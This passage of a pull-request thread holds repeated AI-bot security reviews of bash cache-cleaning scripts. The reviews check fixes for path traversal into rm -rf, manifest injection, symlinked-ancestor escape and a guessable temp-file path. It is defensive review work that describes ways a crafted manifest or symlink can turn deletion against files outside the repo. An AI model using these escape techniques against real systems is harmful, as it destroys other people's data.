The check runs after clean_manifest_rel_safe (no ../absolute) and clean_path_has_pruned_segment (no .git/ etc.), and before clean_manifest_target_valid. For link/__pycache__ where link points outside the repo:

• abs = "$root/link/__pycache__" — [[ -e "$abs" ]] follows the symlink and is true
• clean_path_has_reparse_ancestor "$root" "link/__pycache__" → checks $root/link → [[ -L ]] → true → returns 0
• Rejected with "Rejected (symlinked ancestor): link/pycache", CLEAN_FAILED_COUNT++
• rm -rf never executes

The fsutil-based check covers Windows junction ancestors that bash [[ -L ]] misses. The backslash normalization ensures Windows-format manifests are handled. The integration test in clean-caches.test.sh (lines 250–265) sets up escape_victim/__pycache__ outside the repo, creates a symlink inside, and verifies the file survives with the correct rejection message. The test has the right capability probe ([[ -L ]] gate, skip_case if symlinks unavailable). ✓

---

Still outstanding from prior rounds

Finding	Severity	Note
Staleness guard has no integration test	Correctness — Medium	No test: dry-run → add .env → apply → Skip (protected descendant): appears and dir preserved. The protection re-check code in clean_apply_manifest (line 620) is dark.
base computed from unnormalized $2	Correctness — Low	local … base="${2##*/}" sees raw $2 before rel="${2//\\//}" normalization in clean_manifest_target_valid (line 522). Backslash paths get wrong base; false rejection only (safe but wrong).
Wrong-tier test missing assert_exit	Nitpick	clean-caches.test.sh lines 128–131 capture rc but never assert on it. Every other hardening test has a matching assert_exit "… exits non-zero" 1 "$rc".
clean-build.test.sh trailing --manifest parity test	Nitpick	clean-build.sh got the same [[ $# -lt 2 ]] guard in 1967662 but clean-build.test.sh has no matching regression test.
allowed defaults to empty; tier check silently skipped	Suggestion	local … allowed="${3:-}" — omitting $3 bypasses tier isolation with no error signal.
PID-based fallback manifest path guessable	Suggestion	mktemp fallback at line 676 uses $$; abort on mktemp failure instead.
clean_manifest_writable_target follows symlinks	Suggestion	[[ -f "$path" ]] follows links; add [[ -L "$path" ]] && return 1 before the -f check.

---

Summary

The clean_path_has_reparse_ancestor implementation is correct and the new test for the ancestor case is well-constructed. The one issue is that the function also intercepts direct-target symlinks (e.g. .turbo), changing the rejection message for test 11 from "Rejected (not a caches target)" to "Rejected (symlinked ancestor)" — breaking that test on Linux CI. The fix is a one-line assertion update. All CRITICAL and HIGH security findings across the full review history remain resolved; the PR is otherwise merge-ready pending the test fix.

[claude]

Claude finished @kyle-sexton's task in 2m 51s —— View job

---

Security Review — PR #1023 (HEAD c84086d)

• Read PR diff at HEAD (c84086d)
• Read clean-common.sh — audit new symlinked-ancestor check
• Verify status of all prior findings at current HEAD
• Report findings

---

The latest commit (c84086d, "reject manifest paths through a symlinked ancestor") addresses the Codex P1 finding from the prior round. All CRITICAL and IMPORTANT findings from every earlier review round remain resolved at HEAD.

---

Prior findings — resolution status at HEAD

CRITICAL: Arithmetic injection via bytes field — FIXED (9311037, eliminated in 770ca04)

clean-common.sh lines 628–634

bytes is read from the manifest but never reaches $((...)). Reclaimed bytes are now re-measured by du -sk at removal time with a ^[0-9]+$ guard before the accumulator. The arithmetic injection surface is entirely gone — unchanged from 770ca04. ✓

---

CRITICAL: Path traversal via rel → arbitrary rm -rf — FIXED (9311037)

clean-common.sh lines 455–463

clean_manifest_rel_safe() still rejects empty strings, absolute paths, and any .. component. Unchanged. ✓

---

Codex P1 (9b14290): Symlinked ancestor lets rm -rf exit the repo — FIXED (c84086d)

clean-common.sh lines 472–483

clean_path_has_reparse_ancestor() {
  local root="$1" seg
  local cur="$root"
  local -a parts
  IFS=/ read -r -a parts <<<"${2//\\//}"
  for seg in "${parts[@]}"; do
    [[ -z "$seg" ]] && continue
    cur="$cur/$seg"
    clean_path_is_reparse_point "$cur" && return 0
  done
  return 1
}

The fix is correctly implemented. The function walks every component of root/rel from the leftmost segment ($root/seg1) through to the final target ($root/seg1/.../segN), calling clean_path_is_reparse_point at each step — both the POSIX [[ -L ]] check and the Windows fsutil query. Backslashes are normalised before splitting (${2//\\//}) and empty segments are skipped, so the function handles Windows-style paths and trailing separators correctly.

Edge cases confirmed safe:

• rel = "link/__pycache__" where link is a live symlink → caught at the first component ✓
• rel = "a/b/link/__pycache__" with a nested symlink → caught at the link component ✓
• rel = "__pycache__" (single component, a symlink to an external dir) → caught at the single iteration ✓; also redundantly caught by clean_is_plain_dir in clean_manifest_target_valid ✓
• Dangling symlink (link exists as a symlink but target doesn't exist) → [[ -e "$abs" ]] || continue fires first, skipping before the reparse check; rm -rf on a dangling symlink removes only the link, not an external target, so even without the check this is safe ✓

The placement in the validation sequence is correct:

clean_manifest_rel_safe          # textual: reject .., absolute
clean_path_has_pruned_segment    # location: reject .git/, node_modules/, .venv/
[[ -e "$abs" ]] || continue      # idempotent resume: skip already-removed
clean_path_has_reparse_ancestor  # ← new: reject symlinked ancestors
clean_manifest_target_valid      # type: must be a legitimate planned target
clean_target_eligible            # protection: .env, submodules, skill data
rm -rf "$abs"

The </dev/null on fsutil (added in 770ca04, line 204) means the per-component reparse checks inside the new loop cannot drain the manifest fd — correct and unchanged. ✓

The regression test creates a real symlink from $repo/link → $tmp/escape_victim, writes a manifest entry link/__pycache__, runs --apply, and asserts Rejected (symlinked ancestor):, exit 1, and the external file preserved. It skips gracefully when ln -s is unavailable. Well-constructed. ✓

---

Consolidated security status — all CRITICAL/HIGH findings resolved

Finding	Fixed in
Arithmetic injection via bytes field	9311037 / eliminated in 770ca04
Path traversal via rel → arbitrary rm -rf	9311037
Fail-open on missing manifest exits 0	9311037
Quadratic candidate dedup	9311037
Cross-tier / non-target manifest entry	76d3617
Regular file accepted as dir-name target	137efb6
--dry-run --manifest truncates non-manifest files	137efb6
--manifest without value loops forever	1967662
Manifest entries inside pruned trees	05f716a
No-trailing-newline / truncated record	694eb56
Uncreatable manifest path exits 0	8f0a905
Symlinked final-component target accepted	8f0a905
Apply-loop fd drain (fsutil drains stdin)	770ca04
Stale byte field in summary arithmetic	770ca04
Explicit caches planned but rejected at apply	770ca04
Paths with tabs/newlines corrupt the manifest	770ca04
Symlinked ancestor lets rm -rf exit the repo	c84086d ✓

---

Remaining findings — SUGGESTION level (carry-forward, all unchanged)

SUGGESTION — clean_manifest_writable_target follows symlinks; empty-file symlink target bypasses content check

Confidence: LOW

clean-common.sh lines 649–651

[[ -e "$path" ]] || return 0
[[ -f "$path" ]] || return 1
[[ -s "$path" ]] || return 0   # empty → writable, no content check

[[ -f "$path" ]] follows symlinks. A --manifest argument pointing at a symlink to an empty regular file passes the -s guard (zero-size → false → returns 0/writable), and the subsequent (: >"$path") truncates the symlink's target. Exploiting this requires an attacker who controls both the explicit --manifest argument and can create a symlink at that path — a narrow scenario. [[ -L "$path" ]] && return 1 as a second guard closes it:

[[ -e "$path" ]] || return 0
[[ -L "$path" ]] && return 1   # ← add this
[[ -f "$path" ]] || return 1
[[ -s "$path" ]] || return 0

---

SUGGESTION — PID-based fallback manifest path is guessable on shared CI runners

Confidence: MEDIUM

clean-common.sh line 676

path="$(mktemp 2>/dev/null)" || path="${TMPDIR:-/tmp}/clean-manifest.$$"

The $$-suffixed fallback (only reached when mktemp fails) uses a sequential, guessable PID on Linux. On a shared CI runner, a co-tenant who pre-creates /tmp/clean-manifest.<pid> as a symlink to an empty file causes the subsequent (: >"$path") to truncate the symlink target. Aborting on mktemp failure eliminates this window:

path="$(mktemp 2>/dev/null)" || { printf 'clean_manifest_path: mktemp failed\n' >&2; return 1; }

---

SUGGESTION — allowed parameter defaults to empty; tier check silently disabled if $3 is ever omitted

Confidence: MEDIUM

clean-common.sh line 590

if [[ -n "$allowed" && " $allowed " != *" $class "* ]]; then

When $3 is absent, allowed="" and [[ -n "$allowed" ]] short-circuits to false — the tier boundary is silently not enforced. All four current call sites pass the argument correctly ("build caches" / "caches"). The risk is a future call site omitting it with no runtime signal. An explicit guard converts the omission to a loud failure:

[[ -n "$allowed" ]] || { printf 'clean_apply_manifest: allowed_classes is required\n' >&2; return 1; }

---

Summary

Commit c84086d correctly closes the symlinked-ancestor gap. The clean_path_has_reparse_ancestor function is correctly implemented — it walks every path component incrementally from root through to the final segment, checking each via the platform-aware clean_path_is_reparse_point (POSIX [[ -L ]] + Windows fsutil). Backslash normalisation, empty-segment skipping, and the </dev/null guard on fsutil are all correct. The placement in clean_apply_manifest (after the existence check, before target validation) is correct. No new security vulnerabilities were introduced.

All CRITICAL and IMPORTANT findings across 13 prior review rounds are resolved at HEAD. The three remaining items are all SUGGESTION-level — none is a blocker for merge.

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: c84086d3a9

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[claude]

Claude finished @kyle-sexton's task in 3m 30s —— View job

---

PR Review — #1023 (HEAD bd20952)

• Gather context and read HEAD commit diff
• Read clean-common.sh at HEAD — verify symlinked-path rejection message fix
• Check test files for the assertion fix and remaining gaps
• Review outstanding findings from prior rounds
• Post findings

---

Commit bd20952 ("fix(repo-hygiene): unify symlinked-path rejection message") closes the Codex P1 finding from the c84086d round — and does it more cleanly than the minimum fix would have. All prior CRITICAL and HIGH security findings remain resolved.

---

✅ Resolved — Symlinked-path rejection message unified (bd20952)

clean-common.sh line 611 / clean-caches.test.sh lines 222, 260

printf 'Rejected (symlinked path): %s\n' "$rel" >&2

Prior reviews recommended updating only test 11's assertion to match the c84086d behavior change. The author correctly took a better approach: rename the marker to Rejected (symlinked path) (accurate for both a symlinked ancestor and a symlinked final target) and align both regression tests to the unified message.

The design rationale is sound: clean_path_has_reparse_ancestor walks all components including the leaf node, so it fires first for both a symlinked ancestor (link/__pycache__) and a direct-target symlink (.turbo). A single, unified rejection string is semantically cleaner and easier for callers/automation to parse — "symlinked ancestor" vs "not a caches target" would have been misleading for the direct-symlink case. ✓

Test 11 now correctly asserts "Rejected (symlinked path): .turbo" and the ancestor test at line 260 now asserts "Rejected (symlinked path): link/__pycache__". Both run on Linux CI (the capability probe still guards against filesystems that can't create symlinks, but on standard Linux ln -s succeeds and the test body runs). ✓

---

Consolidated security status — all CRITICAL/HIGH findings resolved

Finding	Fixed in
Arithmetic injection via bytes field	9311037 / eliminated in 770ca04
Path traversal via rel → arbitrary rm -rf	9311037
Fail-open on missing manifest exits 0	9311037
Quadratic candidate dedup	9311037
Cross-tier / non-target manifest entry	76d3617
Regular file accepted as dir-name target	137efb6
--dry-run --manifest truncates non-manifest files	137efb6
--manifest without value loops forever	1967662
Manifest entries inside pruned trees	05f716a
No-trailing-newline / truncated record	694eb56
Uncreatable manifest path exits 0	8f0a905
Symlinked final-target accepted by type-check	8f0a905
Apply-loop fd drain (fsutil drains stdin)	770ca04
Stale byte field in summary arithmetic	770ca04
Explicit caches planned but rejected at apply	770ca04
Paths with tabs/newlines corrupt the manifest	770ca04
Symlinked ancestor lets rm -rf exit the repo	c84086d
Inconsistent symlinked-path rejection message / broken test	bd20952 ✓

---

Correctness — Medium (still outstanding)

Staleness guard has no integration test

clean-common.sh line 620

clean_apply_manifest re-calls clean_target_eligible per entry — the protection re-check that is a first-class design goal (PR description: "a path that became protected since the dry-run is not removed"). The existing test at clean-build.test.sh lines 35–40 covers protection detection in the full --apply path but not through the manifest-consume path. No test exercises:

1. Create a dist/ dir, run --dry-run --manifest P
2. Drop a .env inside dist/
3. Run --apply --manifest P
4. Assert Skip (protected descendant): appears and dist/ is untouched

If clean_target_eligible or clean_dir_has_protected_descendant is ever refactored, this code path could silently regress.

Fix this →

---

Correctness — Low (still outstanding, carry-forward from 76d3617)

base computed from unnormalized $2 in clean_manifest_target_valid

clean-common.sh line 522

clean_manifest_target_valid() {
  local class="$1" rel="${2//\\//}" abs="$3" base="${2##*/}" e pat

Bash evaluates all initialisers in a single local declaration against the outer scope — base="${2##*/}" sees raw $2 before the rel="${2//\\//}" normalization. A Windows-style path src\lib\bin gives base = src\lib\bin (no / to strip) rather than bin. The dir-name comparison loops against CLEAN_BUILD_DIR_NAMES entries like bin then miss, and the entry is rejected as "not a build target" — a false rejection. The failure is safe (path is preserved, not incorrectly removed), and the clean writer never produces backslash paths. One-line fix:

clean_manifest_target_valid() {
  local class="$1" abs="$3" e pat
  local rel="${2//\\//}"
  local base="${rel##*/}"

Fix this →

---

Nitpick — Wrong-tier test missing assert_exit (still outstanding)

clean-caches.test.sh lines 128–131

out="$(run_r2 --apply --manifest "$TEST_TMPDIR/r2.wrongtier.manifest" 2>&1)"
rc=$?
assert_contains "wrong-tier entry rejected" "$out" "Rejected (wrong tier): bin"
assert_file_exists "wrong-tier target preserved" "$TEST_TMPDIR/r2/bin/x"
# ← missing: assert_exit "wrong-tier apply exits non-zero" 1 "$rc"

Every other hardening test — escape, inject, non-target, pruned-tree, type-mismatch, missing-manifest, malformed-record, uncreatable-manifest, symlink (×2), file-named-cache, inflated-bytes — has a matching assert_exit. The wrong-tier case is the only exception. One line to add.

Fix this →

---

Nitpick — clean-build.test.sh missing trailing --manifest parity test (still outstanding)

clean-build.sh received the same [[ $# -lt 2 ]] guard as clean-caches.sh in commit 1967662, but clean-build.test.sh ends at line 108 with no matching regression test. clean-caches.test.sh test 9 covers this with a timeout-wrapped invocation, assert_exit 2, and assert_contains "--manifest requires a value".

Fix this →

---

Suggestion (still outstanding)

allowed defaults to empty; tier check silently skipped if argument ever omitted

clean-common.sh line 571 / line 590

clean_apply_manifest() {
  local root="$1" manifest="$2" allowed="${3:-}"
  ...
  if [[ -n "$allowed" && " $allowed " != *" $class "* ]]; then

When $3 is absent, allowed="" and [[ -n "$allowed" ]] short-circuits false — the tier boundary is silently not enforced. All four current call sites pass the argument correctly. The risk is a future call site omitting it with no runtime signal. An explicit guard makes the omission loud:

[[ -n "$allowed" ]] || { printf 'clean_apply_manifest: allowed_classes is required\n' >&2; return 1; }

PID-based fallback manifest path guessable on shared CI runners

clean-common.sh line 676

path="$(mktemp 2>/dev/null)" || path="${TMPDIR:-/tmp}/clean-manifest.$$"

The $$-suffixed fallback (only reached when mktemp fails) uses a sequential, guessable PID on Linux. Aborting on mktemp failure eliminates the window: || { printf 'clean_manifest_path: mktemp failed\n' >&2; return 1; }.

clean_manifest_writable_target follows symlinks; empty-file symlink target bypasses content check

clean-common.sh lines 649–651

[[ -f "$path" ]] follows symlinks. A --manifest pointing at a symlink to an empty file passes the -s guard and (: >"$path") truncates the symlink target. Add [[ -L "$path" ]] && return 1 before the -f check.

---

Summary

bd20952 takes the correct approach to the test assertion issue — renaming the rejection message to Rejected (symlinked path) rather than just patching the test, giving both cases (symlinked ancestor, direct symlink target) a single, unified, accurate marker. The commit is clean; no new issues introduced.

All CRITICAL and HIGH security findings across 14 review rounds are resolved at HEAD. The PR is merge-ready from a security standpoint. The one item most worth landing before merge is the staleness guard test (Correctness — Medium) — it covers a first-class design guarantee (protection re-check in the manifest-consume path) with no test coverage. The base normalization one-liner and the two missing assert_exit / assert_exit 2 assertions are small follow-ups. The three Suggestion items are optional defence-in-depth.

[claude]

Claude finished @kyle-sexton's task in 1m 49s —— View job

---

Security Review — PR #1023 (HEAD bd20952)

• Read latest commit diff (bd20952)
• Read clean-common.sh and test files at HEAD
• Verify status of all prior findings
• Report findings

---

The latest commit (bd20952, "fix(repo-hygiene): unify symlinked-path rejection message") renames the rejection message Rejected (symlinked ancestor): to Rejected (symlinked path): in one place and updates two test assertions to match. No logic, no control flow, and no security surface changed — the rename reflects that clean_path_has_reparse_ancestor was already catching both symlinked ancestors and symlinked final targets (the function walks every component including the leaf), so the old "ancestor" label was imprecise. The tests now run on Linux CI without the prior capability-probe skip.

---

Prior findings — resolution status at HEAD

Finding	Fixed in	Status
Arithmetic injection via bytes field	9311037 / eliminated in 770ca04	✅ bytes is never used in arithmetic; du -sk re-measures at removal time (line 629) with a ^[0-9]+$ guard
Path traversal via rel → arbitrary rm -rf	9311037	✅ clean_manifest_rel_safe() still rejects .. components and absolute paths
--apply --manifest MISSING exits 0	9311037	✅ Both entry scripts guard [[ -r ]] before consuming
Quadratic candidate dedup	9311037	✅ O(n log n) sort-key pass unchanged
Cross-tier / non-target manifest entry	76d3617	✅ clean_manifest_target_valid + allowed tier filter unchanged
Regular file accepted as dir-name target	137efb6	✅ clean_is_plain_dir/clean_is_plain_file checks unchanged
--dry-run --manifest truncates non-manifest files	137efb6	✅ clean_manifest_writable_target() unchanged
--manifest without value loops forever	1967662	✅ [[ $# -lt 2 ]] guard unchanged
Manifest entries inside pruned trees	05f716a	✅ clean_path_has_pruned_segment() unchanged
No-trailing-newline / truncated record	694eb56	✅ `
Uncreatable manifest path exits 0	8f0a905	✅ (: >"$path") creation check unchanged
Symlinked targets accepted by type-check	8f0a905	✅ Superseded — clean_path_has_reparse_ancestor now catches all symlinked paths (ancestors and leaf targets) before type-check runs
Apply-loop fd drain (fsutil drains stdin)	770ca04	✅ Manifest on fd 3 + </dev/null on fsutil unchanged
Stale byte field in summary arithmetic	770ca04	✅ du -sk re-measurement unchanged
Explicit caches planned but rejected at apply	770ca04	✅ Type-check parity at planning time unchanged
Paths with tabs/newlines corrupt the manifest	770ca04	✅ Unencodable-path guard unchanged
Symlinked ancestor/path lets rm -rf exit the repo	c84086d + bd20952	✅ clean_path_has_reparse_ancestor() catches all components including the leaf; rejection message correctly renamed to Rejected (symlinked path):

No new security issues were introduced by bd20952.

---

Remaining findings — SUGGESTION level (carry-forward, all unchanged)

SUGGESTION — allowed parameter defaults to empty; tier check silently disabled if $3 ever omitted

Confidence: MEDIUM

clean-common.sh line 571

clean_apply_manifest() {
  local root="$1" manifest="$2" allowed="${3:-}"
  ...
  if [[ -n "$allowed" && " $allowed " != *" $class "* ]]; then

When $3 is absent, allowed="" and [[ -n "$allowed" ]] short-circuits to false — the tier boundary is silently not enforced. All four current call sites pass the argument correctly ("build caches" / "caches"). No active vulnerability. The risk is a future call site omitting it with no runtime signal. A guard makes the omission loud:

[[ -n "$allowed" ]] || { printf 'clean_apply_manifest: allowed_classes is required\n' >&2; return 1; }

---

SUGGESTION — PID-based fallback manifest path guessable on shared CI runners

Confidence: MEDIUM

clean-common.sh line 676

path="$(mktemp 2>/dev/null)" || path="${TMPDIR:-/tmp}/clean-manifest.$$"

The $$-suffixed fallback (only reached when mktemp fails) uses a sequential, guessable PID on Linux. On a shared CI runner, a co-tenant who pre-creates /tmp/clean-manifest.<pid> as a symlink to an empty file causes the subsequent (: >"$path") to truncate the symlink target. Aborting on mktemp failure eliminates the window:

path="$(mktemp 2>/dev/null)" || { printf 'clean_manifest_path: mktemp failed\n' >&2; return 1; }

---

SUGGESTION — clean_manifest_writable_target follows symlinks; empty-file symlink target bypasses content check

Confidence: LOW

clean-common.sh lines 649–651

[[ -e "$path" ]] || return 0
[[ -f "$path" ]] || return 1
[[ -s "$path" ]] || return 0   # empty → writable, no content check

[[ -f "$path" ]] follows symlinks. A --manifest argument pointing at a symlink to an empty regular file passes the -s guard (zero-size → false → returns 0/writable), and the subsequent (: >"$path") truncates the symlink's target. Exploiting this requires an attacker who controls both the explicit --manifest argument and can create a symlink at that path — a narrow scenario. [[ -L "$path" ]] && return 1 as a second guard closes it:

[[ -e "$path" ]] || return 0
[[ -L "$path" ]] && return 1   # ← add this
[[ -f "$path" ]] || return 1
[[ -s "$path" ]] || return 0

---

Summary

Commit bd20952 is a message-rename-only commit with no security impact. The rename from Rejected (symlinked ancestor): to Rejected (symlinked path): is semantically correct — clean_path_has_reparse_ancestor walks all path components including the final target, so "ancestor" was always slightly inaccurate for single-component paths like .turbo. All CRITICAL and IMPORTANT findings across 13 prior review rounds remain resolved at HEAD. The three remaining items are all SUGGESTION-level; none is a blocker for merge.

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: bd20952ba3

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[claude]

Claude finished @kyle-sexton's task in 3m 11s —— View job

---

PR Review — #1023 (HEAD 7624dff)

• Gather context and read latest commit diff
• Review clean-common.sh for the ARG_MAX du chunking fix
• Check status of all prior outstanding findings
• Post findings

---

Commit 7624dff ("fix(repo-hygiene): chunk the dry-run sizing du under ARG_MAX") closes the Codex P2 finding from the bd20952 round. All prior CRITICAL and HIGH security findings remain resolved at HEAD. Below is a complete status pass.

---

✅ Resolved — ARG_MAX du overflow in dry-run sizing (7624dff)

clean-common.sh line 441

done < <(printf '%s\0' "${surv_abs[@]}" | xargs -0 du -sk 2>/dev/null)

The prior du -sk "${surv_abs[@]}" failed silently with E2BIG on a monorepo with thousands of surviving candidates — with 2>/dev/null discarding the error, every size fell back to ${size_of[$abs]:-0}, and the dry-run manifest reported bytes=0 for what could be gigabytes of reclaimable space. The fix pipes a NUL-delimited list through xargs -0 du -sk, which chunks across multiple du execs automatically under ARG_MAX. The tab-split parse (IFS=$'\t' read -r kb path) is unambiguous: survivors never carry a tab or newline because the unencodable-path guard (770ca04) filters them at classification. ✓

---

Consolidated security status — all CRITICAL/HIGH findings resolved

Finding	Fixed in
Arithmetic injection via bytes field	9311037 / eliminated in 770ca04
Path traversal via rel → arbitrary rm -rf	9311037
Fail-open on missing manifest exits 0	9311037
Quadratic candidate dedup	9311037
Cross-tier / non-target manifest entry	76d3617
Regular file accepted as dir-name target	137efb6
--dry-run --manifest truncates non-manifest files	137efb6
--manifest without value loops forever	1967662
Manifest entries inside pruned trees	05f716a
No-trailing-newline / truncated record	694eb56
Uncreatable manifest path exits 0	8f0a905
Symlinked targets accepted by type-check	8f0a905
Apply-loop fd drain (fsutil drains stdin)	770ca04
Stale byte field in summary arithmetic	770ca04
Explicit caches planned but rejected at apply	770ca04
Paths with tabs/newlines corrupt the manifest	770ca04
Symlinked ancestor lets rm -rf exit the repo	c84086d
Inconsistent symlinked-path rejection message	bd20952
ARG_MAX overflow → silent 0-byte sizing in dry-run	7624dff ✓

---

Correctness — Medium (still outstanding)

Staleness guard has no integration test

clean-common.sh line 625

clean_apply_manifest re-calls clean_target_eligible per entry — the protection re-check that is a first-class design goal (PR description: "a path that became protected since the dry-run is not removed"). clean-build.test.sh lines 35–40 cover protection detection in the standalone --apply path but not through the manifest-consume path. No test exercises:

1. Create a dist/ dir, run --dry-run --manifest P
2. Drop a .env inside dist/
3. Run --apply --manifest P
4. Assert Skip (protected descendant): appears and dist/ is untouched

A future refactor of clean_target_eligible or clean_dir_has_protected_descendant could silently regress this guarantee without any test catching it. Fix this →

---

Correctness — Low (still outstanding, carry-forward from 76d3617)

base computed from unnormalized $2 in clean_manifest_target_valid

clean-common.sh line 527

clean_manifest_target_valid() {
  local class="$1" rel="${2//\\//}" abs="$3" base="${2##*/}" e pat

Bash evaluates all initialisers in a single local declaration against the outer scope — base="${2##*/}" sees the raw $2 before the rel="${2//\\//}" normalization. A Windows-style path src\lib\bin gives base = src\lib\bin (no / to strip) rather than bin. The dir-name loops comparing [[ "$base" == "$e" ]] then miss and the entry is rejected as "not a build target" — a false rejection (safe, not a security issue). The clean writer never produces backslash paths, so this only affects callers on Windows supplying --apply --manifest with a backslash manifest. One-line split fixes it:

clean_manifest_target_valid() {
  local class="$1" abs="$3" e pat
  local rel="${2//\\//}"
  local base="${rel##*/}"

Fix this →

---

Nitpick — Wrong-tier test missing assert_exit (still outstanding)

clean-caches.test.sh lines 128–131

out="$(run_r2 --apply --manifest "$TEST_TMPDIR/r2.wrongtier.manifest" 2>&1)"
rc=$?
assert_contains "wrong-tier entry rejected" "$out" "Rejected (wrong tier): bin"
assert_file_exists "wrong-tier target preserved" "$TEST_TMPDIR/r2/bin/x"
# ← missing: assert_exit "wrong-tier apply exits non-zero" 1 "$rc"

Every other hardening test — escape (1), inject (2), non-target (3a), pruned-tree (3b), type-mismatch (4), no-trailing-newline (5), malformed-record (6), missing-manifest (7), refuse-overwrite (8), trailing-manifest (9), uncreatable-manifest (10), symlink (11), symlinked-ancestor — has a matching assert_exit. The wrong-tier case is the only exception; one line to add. Fix this →

---

Nitpick — clean-build.test.sh missing trailing --manifest parity test (still outstanding)

clean-build.sh received the same [[ $# -lt 2 ]] guard as clean-caches.sh in commit 1967662, but clean-build.test.sh ends at line 108 with no matching regression test. clean-caches.test.sh test 9 covers this with a timeout-wrapped invocation, assert_exit 2, and assert_contains "--manifest requires a value". A parity test pins the contract for both scripts. Fix this →

---

Still outstanding — Suggestion-level items (carry-forward)

Finding	Location	Note
allowed defaults to empty; tier check silently skipped if $3 omitted	clean-common.sh line 576	local … allowed="${3:-}" — all current call sites pass it correctly; a future call site omitting it bypasses tier isolation with no error signal
PID-based fallback manifest path guessable on shared runners	clean-common.sh line 681	mktemp fallback uses $$; abort on mktemp failure instead
clean_manifest_writable_target follows symlinks; empty-file symlink target bypasses content check	clean-common.sh lines 654–656	[[ -f "$path" ]] follows symlinks; add [[ -L "$path" ]] && return 1 before the -f check

---

Summary

Commit 7624dff correctly closes the ARG_MAX sizing gap: printf '%s\0' … | xargs -0 du -sk chunks large candidate lists across multiple du execs transparently, and the tab-split parse stays unambiguous because the unencodable-path guard (added in 770ca04) already filters tab/newline paths at classification. No new security issues were introduced.

All CRITICAL and HIGH findings across every prior review round are resolved at HEAD. The PR is merge-ready from a security standpoint. The staleness guard test (Correctness — Medium) remains the one item most worth landing before or shortly after merge — it covers the core protection re-check guarantee in the manifest-consume path, which is currently dark. The base normalization one-liner and the two missing test assertions are small clean-ups. The three Suggestion items are optional defence-in-depth.

[claude]

Claude finished @kyle-sexton's task in 2m 14s —— View job

---

Security Review — PR #1023 (HEAD 7624dff)

• Read latest commit diff (7624dff — "chunk the dry-run sizing du under ARG_MAX")
• Read clean-common.sh at current HEAD — verify prior findings still resolved
• Check for new security issues in the xargs-chunked du implementation
• Post findings

---

The latest commit (7624dff, "fix(repo-hygiene): chunk the dry-run sizing du under ARG_MAX") is a single-line change to clean_plan in clean-common.sh. No entry scripts or test files were touched.

---

Change introduced in 7624dff — Security analysis

Before:

done < <(du -sk "${surv_abs[@]}" 2>/dev/null)

After:

done < <(printf '%s\0' "${surv_abs[@]}" | xargs -0 du -sk 2>/dev/null)

Three properties of the new pipeline are relevant to security:

printf '%s\0' "${surv_abs[@]}" — no injection risk. The format string is a compile-time literal; each array element is passed as a positional argument to %s, never interpolated into the format string itself. NUL termination is correct for the downstream xargs -0.

xargs -0 du -sk — no flag injection. xargs with -0 treats each NUL-terminated token as a verbatim argument. All paths in surv_abs are absolute (derived as "$root/..." and validated by the classification loop), so they always start with / — there is no way for a path to be mistaken for a du flag.

No new argument to untrusted data. The paths in surv_abs were already classified and filtered before this point: the unencodable-path guard (commit 770ca04) excludes tabs and newlines, clean_manifest_rel_safe and clean_path_has_reparse_ancestor are apply-side only (not relevant here), and the early-return ((${#surv_abs[@]})) || return 0 ensures the array is non-empty when the pipeline runs, so xargs receives at least one path and cannot run du with zero arguments against an unintended target.

Conclusion: No new security vulnerabilities introduced by this commit.

---

Prior findings — resolution status at HEAD

All CRITICAL and IMPORTANT findings from every prior review round remain resolved and unchanged at HEAD.

Finding	Fixed in
Arithmetic injection via bytes field	9311037 / eliminated in 770ca04
Path traversal via rel → arbitrary rm -rf	9311037
--apply --manifest MISSING exits 0	9311037
Quadratic candidate dedup	9311037
Cross-tier / non-target manifest entry	76d3617
Regular file accepted as dir-name target	137efb6
--dry-run --manifest truncates non-manifest files	137efb6
--manifest without value: infinite loop	1967662
Manifest entries inside pruned trees	05f716a
No-trailing-newline / truncated record	694eb56
Uncreatable manifest path exits 0	8f0a905
Symlinked final-component target accepted	8f0a905
Apply-loop fd drain (fsutil drains stdin)	770ca04
Stale byte field in summary arithmetic	770ca04
Explicit caches planned but rejected at apply	770ca04
Paths with tabs/newlines corrupt the manifest	770ca04
Symlinked ancestor lets rm -rf exit the repo	c84086d
Inconsistent symlinked-path rejection message	bd20952
Dry-run sizing silently zeros at E2BIG	7624dff ✓

---

Remaining findings — SUGGESTION level (carry-forward, all unchanged)

SUGGESTION — allowed parameter defaults to empty; tier check silently disabled if $3 is ever omitted

Confidence: MEDIUM

clean-common.sh line 576

clean_apply_manifest() {
  local root="$1" manifest="$2" allowed="${3:-}"
  ...
  if [[ -n "$allowed" && " $allowed " != *" $class "* ]]; then

When $3 is absent, allowed="" and [[ -n "$allowed" ]] short-circuits to false — the tier boundary is silently not enforced. All four current call sites pass the argument correctly ("build caches" / "caches"). No active vulnerability; the risk is a future call site omitting it without a runtime signal.

---

SUGGESTION — PID-based fallback manifest path is guessable on shared CI runners

Confidence: MEDIUM

clean-common.sh line 681

path="$(mktemp 2>/dev/null)" || path="${TMPDIR:-/tmp}/clean-manifest.$$"

The $$-suffixed fallback (only reached when mktemp fails) uses a sequential, guessable PID on Linux. On a shared CI runner, a co-tenant who pre-creates /tmp/clean-manifest.<pid> as a symlink to an empty file causes the subsequent (: >"$path") subshell to truncate the symlink target. Aborting on mktemp failure eliminates the window: || { printf 'clean_manifest_path: mktemp failed\n' >&2; return 1; }.

---

SUGGESTION — clean_manifest_writable_target follows symlinks; empty-file symlink target bypasses content check

Confidence: LOW

clean-common.sh lines 654–656

[[ -e "$path" ]] || return 0
[[ -f "$path" ]] || return 1
[[ -s "$path" ]] || return 0   # empty → writable, no content check

[[ -f "$path" ]] follows symlinks. A --manifest argument pointing at a symlink to an empty regular file passes the -s guard and (: >"$path") truncates the symlink's target. Exploiting this requires an attacker who controls both the explicit --manifest argument and can create a symlink at that path — a very narrow scenario. [[ -L "$path" ]] && return 1 as a second guard closes it.

---

Summary

